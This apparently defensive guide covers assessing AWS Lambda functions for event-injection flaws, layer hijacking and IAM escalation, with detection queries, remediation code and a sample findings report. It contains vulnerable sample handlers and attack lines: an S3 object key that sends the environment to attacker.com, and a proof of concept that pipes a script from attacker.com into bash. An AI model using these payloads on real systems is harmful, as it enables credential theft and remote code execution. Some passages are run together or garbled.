eval, exec, child_process.exec, os.system)lambda:UpdateFunctionCode and iam:PassRole can assume higher-privilege execution rolesDo not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.
Invoke events) and Management Events (captures UpdateFunctionCode, UpdateFunctionConfiguration, CreateFunction)boto3, bandit (Python SAST), and semgrep for static analysisMap all Lambda functions and their event source triggers to understand injection entry points:
```bash
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
```
```bash
aws lambda list-event-source-mappings --output json | \
jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
```
```bash
aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
```
For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.
```bash
aws s3api get-bucket-notification-configuration --bucket
```
```bash
aws lambda get-function-configuration --function-name
--query 'Environment.Variables' --output json
```
* resource permissions or administrative policies are high-value escalation targets:```bash
aws iam list-attached-role-policies --role-name
aws iam list-role-policies --role-name
```
Scan function code for dangerous patterns that allow injected event data to execute as code or commands:
```bash
aws lambda get-function --function-name
unzip function.zip -d function_code/
```
```python
eval(event['expression']) # Code injection via eval
exec(event['code']) # Arbitrary code execution
os.system(event['command']) # OS command injection
subprocess.call(event['cmd'], shell=True) # Shell injection
os.popen(event['input']) # Command injection
pickle.loads(event['data']) # Deserialization attack
yaml.load(event['config']) # YAML deserialization (unsafe loader)
```
```javascript
// DANGEROUS: Direct execution of event data
eval(event.expression); // Code injection
new Function(event.code)(); // Dynamic function creation
child_process.exec(event.command); // OS command injection
child_process.execSync(event.cmd); // Synchronous command injection
vm.runInNewContext(event.script); // Sandbox escape potential
require('child_process').exec(event.input); // Import-and-execute pattern
```
```bash
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
--config "p/python-security" functioncode/ --json --output semgrepresults.json
```
```bash
bandit -r functioncode/ -f json -o banditresults.json \
-t B102,B301,B307,B602,B603,B604,B605,B606,B607
```
These test IDs specifically target exec, pickle, eval, subprocess with shell=True, and other injection-relevant patterns.
```python
query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
cursor.execute(query) # SQL injection
template = event['template']
rendered = jinja2.Template(template).render() # SSTI
```
Analyze event sources for injection payloads that exploit how Lambda processes triggers:
```python
def handler(event, context):
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
```
Attack: Upload an object with key ; curl http://attacker.com/exfil?data=$(env) to inject a command through the S3 event.
```python
def handler(event, context):
for record in event['Records']:
message = json.loads(record['body'])
result = eval(message['formula'])
```
```python
def handler(event, context):
user_agent = event['headers']['User-Agent']
subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
```
```python
def handler(event, context):
for record in event['Records']:
new_image = record['dynamodb']['NewImage']
config = new_image['config']['S']
exec(config)
```
```
fields @timestamp, @message
| filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
| filter @message like /(?i)(error|exception|traceback|syntax)/
| sort @timestamp desc
| limit 100
```
Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:
```bash
aws lambda list-functions --query 'Functions[].[FunctionName,Layers[].Arn]' --output json
```
UpdateFunctionConfiguration events that add or change layers:```bash
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
--start-time "2026-03-12T00:00:00Z" \
--end-time "2026-03-19T23:59:59Z" \
--query 'Events[*].[EventTime,Username,CloudTrailEvent]'
```
Parse the CloudTrailEvent JSON to check if Layers was modified in the request parameters.
```bash
aws lambda get-layer-version --layer-name
--query 'Content.Location' --output text | xargs curl -o layer.zip
unzip layer.zip -d layer_contents/
grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
```
/opt/python/ is imported before the function's own modules/opt/nodejs/node_modules/ overrides function dependenciesboto3 package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint```json
{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
"errorCode": [{"exists": false}]
}
}
```
Identify escalation paths where attackers modify functions to assume higher-privilege roles:
lambda:UpdateFunctionCode and iam:PassRole permissions can:sts:GetCallerIdentity or perform privileged actionsAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)```bash
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
--start-time "2026-03-12T00:00:00Z" \
--query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
```
iam:PassRole is required to attach a different execution role to a function. Monitor for this:```
fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
| filter eventName = "UpdateFunctionConfiguration20150331v2"
| filter ispresent(requestParameters.role)
| sort eventTime desc
```
```
fields eventTime, userIdentity.arn, eventName, sourceIPAddress
| filter userIdentity.arn like /.:assumed-role\/.lambda.*/
| filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
"CreateAccessKey", "AssumeRole", "PutUserPolicy"]
| sort eventTime desc
```
```json
{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": [
"UpdateFunctionCode20150331v2",
"UpdateFunctionConfiguration20150331v2",
"CreateFunction20150331"
],
"errorCode": [{"exists": false}]
}
}
```
Deploy runtime protection controls to prevent injection at execution time:
```python
import re
import json
from functools import wraps
SAFE_PATTERNS = {
'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
'action': re.compile(r'^(get|list|create|update|delete)$'),
}
def validate_event(schema):
"""Decorator that validates Lambda event against a whitelist schema."""
def decorator(func):
@wraps(func)
def wrapper(event, context):
for field, pattern in schema.items():
value = event.get(field, '')
if isinstance(value, str) and not pattern.match(value):
return {
'statusCode': 400,
'body': json.dumps({'error': f'Invalid {field}'})
}
return func(event, context)
return wrapper
return decorator
@validateevent(SAFEPATTERNS)
def handler(event, context):
user_id = event['userId']
return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
```
```bash
aws lambda get-function-url-config --function-name
--query 'AuthType' --output text
```
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:PutItem"
],
"Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
},
{
"Effect": "Allow",
"Action": "logs:*",
"Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
}
]
}
```
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyLambdaCodeUpdateExceptCICD",
"Effect": "Deny",
"Action": [
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
}
}
}
]
}
```
```python
from awslambdapowertools import Logger, Tracer
from awslambdapowertools.utilities.validation import validate
logger = Logger(service="payment-processor")
tracer = Tracer()
@logger.injectlambdacontext
@tracer.capturelambdahandler
def handler(event, context):
logger.info("Processing event", extra={
"source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
"user_agent": event.get('headers', {}).get('User-Agent'),
"http_method": event.get('httpMethod'),
})
```
| Term | Definition |
|---|---|
| Event Source Poisoning | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |
| Function Injection | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |
| Lambda Layer Hijacking | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |
| IAM Privilege Escalation via Lambda | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |
| OWASP Serverless Top 10 | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |
| Cold Start Injection | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |
| Execution Role | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |
Context: A SOC analyst receives a GuardDuty alert for UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with lambda:UpdateFunctionCode permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.
Approach:
UpdateFunctionCode events in the past 7 days to identify when the function was modified and by which principal:```
fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
| filter eventName = "UpdateFunctionCode20150331v2"
| filter requestParameters.functionName = "payment-processor"
| sort eventTime desc
```
os.environ['AWS_ACCESS_KEY_ID'], AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN to an external endpoint on each invocationUpdateFunctionConfiguration events with layer changesdynamodb:*, s3:GetObject, s3:PutObject, and sqs:SendMessage across all resources, exceeding least privilegests:GetCallerIdentity, s3:ListBuckets, dynamodb:Scan on the customer table, and iam:CreateUser attemptslambda:UpdateFunctionCode to the CI/CD role onlyPitfalls:
## Serverless Function Injection Assessment
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
### Critical Findings
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
Object key: `; curl http://attacker.com/shell.sh | bash`
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
function's deployment package, add AWS Config rule to block external layers.
### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions